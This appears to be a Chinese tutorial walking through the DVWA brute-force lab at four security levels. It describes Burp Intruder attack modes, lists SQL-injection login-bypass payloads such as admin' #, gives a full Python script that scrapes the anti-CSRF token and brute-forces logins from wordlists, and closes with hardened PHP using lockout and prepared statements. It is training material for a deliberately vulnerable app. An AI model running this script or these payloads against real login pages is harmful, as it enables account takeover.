Dvwa_brute_force
DVWA_Brute Force(暴力破解)
这是一个有登录功能,也就是数据库校验功能的页面,从页面上不难看出,可能的漏洞点是暴力破解
LOW
截取low级别的请求报文,get方式的明文传输,重复发送,也并未限制登录功能,这个时候就可以尝试暴力破解用户名密码了。
将报文发送到inrtuder
模块进行暴力破解
先使用clear
清除已标记的变量,然后使用add
新增需要暴力破解的变量,然后选择cluster bomb
,进入到payloads
标签进行payload
加载。
payload set
选择变量顺序(1代表的是报文中自上而下的第一个变量),然后在payuload options
中添加payload
列表,第二个变量同理设定即可。
在免费版中线程数不可设定,收费版可进行设置,设置位置在options
标签中。设置完成就点击右上角的start attack
。
当相应包长度Length
的值发生变化时,就说明可能爆破已经成功了。
附录:burpsuite intruder 模块说明 sniper(单点枚举):整个请求报文中,只能选择一个变量,也只能有一个payload列表,单点的进行枚举替换。 battering ram(同步枚举):整个请求报文中,可以有多个变量,但只有一个payload列表,同步对每个变量进行枚举替换。 pitchfork(同行枚举):整个请求报文中可以有n个变量,同时有n个payload,且payload行数必须相同才能达到预期的枚举效果,不然将只会枚举最短的payload行数。实际枚举替换过程:每个payload列表同行替换,例如payload1替换第十行语句,payloadn也替换第十行语句。 cluster bomb(交叉枚举):整个请求报文中可以有n个变量,同时有n个payload,每个payload相互独立。实际枚举替换过程:其余payload不变,payload1逐条替换,然后payload2变成第二行语句,接着payload1逐条替换,payload2再向下一行,接着payload1逐条替换,以此往复,直至payloadn全部被替换。
工具使用完成后,再来看看源代码上是怎么实现的:
这个代码原理很简陋,并未做任何过滤。
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
这条很直白的说明了,万用密码的可能:
admin' #
admin' -- -
admin' and 1=1#
MEDIUM
抓包重发,发现响应存在延迟,并未锁死账户,仍可暴力破解,这里就不演示了,万用密码已经不可用,说明是存在了过滤的,查看源代码:
整个过程多了一次mysqli_real_escape_string
过滤,该函数的定义和用法如下:
过滤掉了username
参数中sql注入
所需要的字符串,然后当校验错误时sleep( 2 )
,这就是造成重放阶段响应包延迟返回的原因,增加了暴力破解所需的时间,但并未杜绝此项攻击的可能。
HIGH
通过抓取数据包,发现新增了一个user_token
参数,重放发现并不能直接获取到返回数据。
观察截取到的数据报文,两次请求之间并未进行其他的获取token
请求,因此这里查看页面源代码,在页面中找到了随机服务器随机生成的token
值。
多发送几次数据报文,得知:当前发送的token
值存在于当前页面,响应页面中存在的token
值是下次发送的token值。
这个时候就可以写脚本来进行爆破了:
import requests,re,click
@click.command()
@click.option('-u', '--username', prompt='Your username file path: ', help='需要加载的用户名字典路径.')
@click.option('-p', '--password', prompt='Your password file path: ', help='需要加载的密码字典路径.')
@click.option('-P', '--phpsession', prompt='Current phpsession id: ', help='当前web前端使用的phpsession参数.')
@click.option('-U', '--url', prompt='url: ', help='实验环境中需要爆破的url地址.')
def main(username, password, phpsession, url):
"""DVWA Brute Force high python3 script.\n
You need to set the following parameters."""
headers = {"Cookie":"security=high; PHPSESSID=" + phpsession}
response_page = requests.get(url,headers=headers)
user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response_page.text)[0]
flag = False
total = 0
name_list = open(username, 'r')
for name in name_list:
uname = name.strip()
pwd_list = open(password, 'r')
for pwd in pwd_list:
passwd = pwd.strip()
params = {'username': uname, 'password': passwd, 'Login': 'login','user_token':user_token}
response_page = requests.get(url, params=params, headers=headers)
if "Username and/or password incorrect." in response_page.text:
flag = False
total+=1
else:
flag = True
total+=1
user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response_page.text)[0]
if flag == True:
click.secho('username:%s\t,password:%s\tThis is a valid combination!' %(uname, passwd), fg='green')
pwd_list.close()
name_list.close()
click.secho('All dictionaries have been run, total: %d' %total)
if __name__ == '__main__':
main()
脚本为了增加通用性,引入了命令行参数的方式,输入用户名字典,密码字典,cookie中的phpsession,以及需要爆破的url,即可完成开始爆破,并未采用错误回显,将会一直运行,当遇到正确的用户名密码时,将输出到命令行,运行结束时,会输出结束提示及总共跑了多少组用户名密码组合。
IMPOSSIBLE
为什么说这是不可能进行爆破的呢,首先从第一次尝试开始:
输入错误1次,账号锁定15分钟,也就是说存在账号锁定机制,一般情况下,真实的业务上不可能错误一次就会锁定账号,但是三五次后锁定账号的还是很普遍的。这种就不可能用爆破的方式来进行密码枚举了,但是如果你的密码足够弱,例如88888888,那么,在有限次数内被猜解出来还是有可能的。
接下来看看代码实现:
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
功能上增加了锁定账号机制,以及pdo(sql注入防护技术)。这才是合规开发应该进行的正常操作!